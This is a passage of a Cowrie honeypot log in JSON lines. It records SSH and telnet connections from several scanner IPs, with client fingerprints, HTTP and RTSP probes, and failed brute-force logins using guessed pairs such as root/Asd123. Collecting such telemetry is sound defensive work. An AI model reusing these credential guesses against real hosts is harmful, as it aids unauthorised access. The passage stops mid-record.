{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:23.658512Z","src_ip":"159.203.92.129","session":"4cf63e094aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:23.662733Z","src_ip":"159.203.92.129","session":"4cf63e094aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwertyuiop","message":"login attempt [ansible/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:24.154806Z","src_ip":"159.203.92.129","session":"4cf63e094aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:25.236552Z","src_ip":"159.203.92.129","session":"4cf63e094aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":30228,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a688f759337","protocol":"telnet","message":"New connection: 34.14.44.33:30228 (159.203.135.109:23) [session: 3a688f759337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:41.879495Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":30234,"dst_ip":"159.203.135.109","dst_port":23,"session":"857dfe4f86c4","protocol":"telnet","message":"New connection: 34.14.44.33:30234 (159.203.135.109:23) [session: 857dfe4f86c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.034555Z"}
{"eventid":"cowrie.session.closed","duration":0.00549769401550293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.039905Z","src_ip":"34.14.44.33","session":"857dfe4f86c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":52524,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3fd739f7e26","protocol":"ssh","message":"New connection: 50.99.170.152:52524 (159.203.135.109:22) [session: a3fd739f7e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.175429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.180242Z","src_ip":"50.99.170.152","session":"a3fd739f7e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":30240,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8dfe0f674e","protocol":"telnet","message":"New connection: 34.14.44.33:30240 (159.203.135.109:23) [session: ab8dfe0f674e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.189361Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.238058Z","src_ip":"50.99.170.152","session":"a3fd739f7e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:42.514112Z","src_ip":"50.99.170.152","session":"a3fd739f7e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:43.574349Z","src_ip":"50.99.170.152","session":"a3fd739f7e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.146055221557617,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:44.025406Z","src_ip":"34.14.44.33","session":"3a688f759337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53724,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1265671350","protocol":"ssh","message":"New connection: 159.203.92.129:53724 (159.203.135.109:22) [session: aa1265671350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:47.536867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:47.686953Z","src_ip":"159.203.92.129","session":"aa1265671350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:47.690613Z","src_ip":"159.203.92.129","session":"aa1265671350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"raja123","message":"login attempt [ansible/raja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:48.235379Z","src_ip":"159.203.92.129","session":"aa1265671350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:01:49.366251Z","src_ip":"159.203.92.129","session":"aa1265671350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cd79007ce38","protocol":"telnet","message":"New connection: 34.14.44.33:56014 (159.203.135.109:23) [session: 4cd79007ce38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.344924Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.350916Z","src_ip":"34.14.44.33","session":"4cd79007ce38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.355446Z","src_ip":"34.14.44.33","session":"4cd79007ce38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08976960182189941,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.434572Z","src_ip":"34.14.44.33","session":"4cd79007ce38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56020,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fcf3af5220e","protocol":"telnet","message":"New connection: 34.14.44.33:56020 (159.203.135.109:23) [session: 3fcf3af5220e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.509212Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56030,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ecad289cbdc","protocol":"telnet","message":"New connection: 34.14.44.33:56030 (159.203.135.109:23) [session: 3ecad289cbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.669022Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a96d1404797","protocol":"telnet","message":"New connection: 34.14.44.33:56044 (159.203.135.109:23) [session: 1a96d1404797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.824405Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56052,"dst_ip":"159.203.135.109","dst_port":23,"session":"802a796749e8","protocol":"telnet","message":"New connection: 34.14.44.33:56052 (159.203.135.109:23) [session: 802a796749e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:01.980490Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56054,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8b69b14636","protocol":"telnet","message":"New connection: 34.14.44.33:56054 (159.203.135.109:23) [session: 4c8b69b14636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.136812Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56060,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6410bf57c2a","protocol":"telnet","message":"New connection: 34.14.44.33:56060 (159.203.135.109:23) [session: a6410bf57c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.299406Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56064,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc38950df49","protocol":"telnet","message":"New connection: 34.14.44.33:56064 (159.203.135.109:23) [session: 3bc38950df49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.455505Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56080,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ec8774dbc7","protocol":"telnet","message":"New connection: 34.14.44.33:56080 (159.203.135.109:23) [session: a4ec8774dbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.610243Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56094,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c66a94db68e","protocol":"telnet","message":"New connection: 34.14.44.33:56094 (159.203.135.109:23) [session: 6c66a94db68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.766269Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56108,"dst_ip":"159.203.135.109","dst_port":23,"session":"f051adbab507","protocol":"telnet","message":"New connection: 34.14.44.33:56108 (159.203.135.109:23) [session: f051adbab507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:02.996544Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a243d695f7a2","protocol":"telnet","message":"New connection: 34.14.44.33:56110 (159.203.135.109:23) [session: a243d695f7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.151454Z"}
{"eventid":"cowrie.session.closed","duration":0.005429983139038086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.156739Z","src_ip":"34.14.44.33","session":"a243d695f7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"352928e99ca3","protocol":"telnet","message":"New connection: 34.14.44.33:56118 (159.203.135.109:23) [session: 352928e99ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.309116Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56120,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea13926203c","protocol":"telnet","message":"New connection: 34.14.44.33:56120 (159.203.135.109:23) [session: cea13926203c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.464421Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56124,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c516a8d5df7","protocol":"telnet","message":"New connection: 34.14.44.33:56124 (159.203.135.109:23) [session: 5c516a8d5df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.620682Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56130,"dst_ip":"159.203.135.109","dst_port":23,"session":"2353c7d25cd2","protocol":"telnet","message":"New connection: 34.14.44.33:56130 (159.203.135.109:23) [session: 2353c7d25cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.775289Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56144,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e098c121a15","protocol":"telnet","message":"New connection: 34.14.44.33:56144 (159.203.135.109:23) [session: 4e098c121a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:03.931185Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56152,"dst_ip":"159.203.135.109","dst_port":23,"session":"92040a571028","protocol":"telnet","message":"New connection: 34.14.44.33:56152 (159.203.135.109:23) [session: 92040a571028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.085667Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56166,"dst_ip":"159.203.135.109","dst_port":23,"session":"321fb5c5d130","protocol":"telnet","message":"New connection: 34.14.44.33:56166 (159.203.135.109:23) [session: 321fb5c5d130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.240909Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56182,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4c97d334f2","protocol":"telnet","message":"New connection: 34.14.44.33:56182 (159.203.135.109:23) [session: fb4c97d334f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.397152Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56196,"dst_ip":"159.203.135.109","dst_port":23,"session":"42782dd25e4d","protocol":"telnet","message":"New connection: 34.14.44.33:56196 (159.203.135.109:23) [session: 42782dd25e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.553239Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.560379Z","src_ip":"34.14.44.33","session":"42782dd25e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56206,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4dabc69f755","protocol":"telnet","message":"New connection: 34.14.44.33:56206 (159.203.135.109:23) [session: a4dabc69f755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.715203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56212,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14323518bc0","protocol":"telnet","message":"New connection: 34.14.44.33:56212 (159.203.135.109:23) [session: c14323518bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:04.872635Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56224,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef6c32b5123","protocol":"telnet","message":"New connection: 34.14.44.33:56224 (159.203.135.109:23) [session: 0ef6c32b5123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.030776Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56234,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce9ff64ce859","protocol":"telnet","message":"New connection: 34.14.44.33:56234 (159.203.135.109:23) [session: ce9ff64ce859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.186923Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56246,"dst_ip":"159.203.135.109","dst_port":23,"session":"2558f35bd305","protocol":"telnet","message":"New connection: 34.14.44.33:56246 (159.203.135.109:23) [session: 2558f35bd305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.343508Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"28b6331987a9","protocol":"telnet","message":"New connection: 34.14.44.33:56260 (159.203.135.109:23) [session: 28b6331987a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.498881Z"}
{"eventid":"cowrie.session.closed","duration":0.008267879486083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.506995Z","src_ip":"34.14.44.33","session":"28b6331987a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56276,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32da4f89e22","protocol":"telnet","message":"New connection: 34.14.44.33:56276 (159.203.135.109:23) [session: f32da4f89e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.655932Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.44.33","src_port":56286,"dst_ip":"159.203.135.109","dst_port":23,"session":"7136001792c8","protocol":"telnet","message":"New connection: 34.14.44.33:56286 (159.203.135.109:23) [session: 7136001792c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.813513Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 97","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 97] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:05.819643Z","src_ip":"34.14.44.33","session":"7136001792c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39034,"dst_ip":"159.203.135.109","dst_port":22,"session":"22dc21afb0b7","protocol":"ssh","message":"New connection: 159.203.92.129:39034 (159.203.135.109:22) [session: 22dc21afb0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:13.643361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:02:13.939517Z","src_ip":"159.203.92.129","session":"22dc21afb0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v0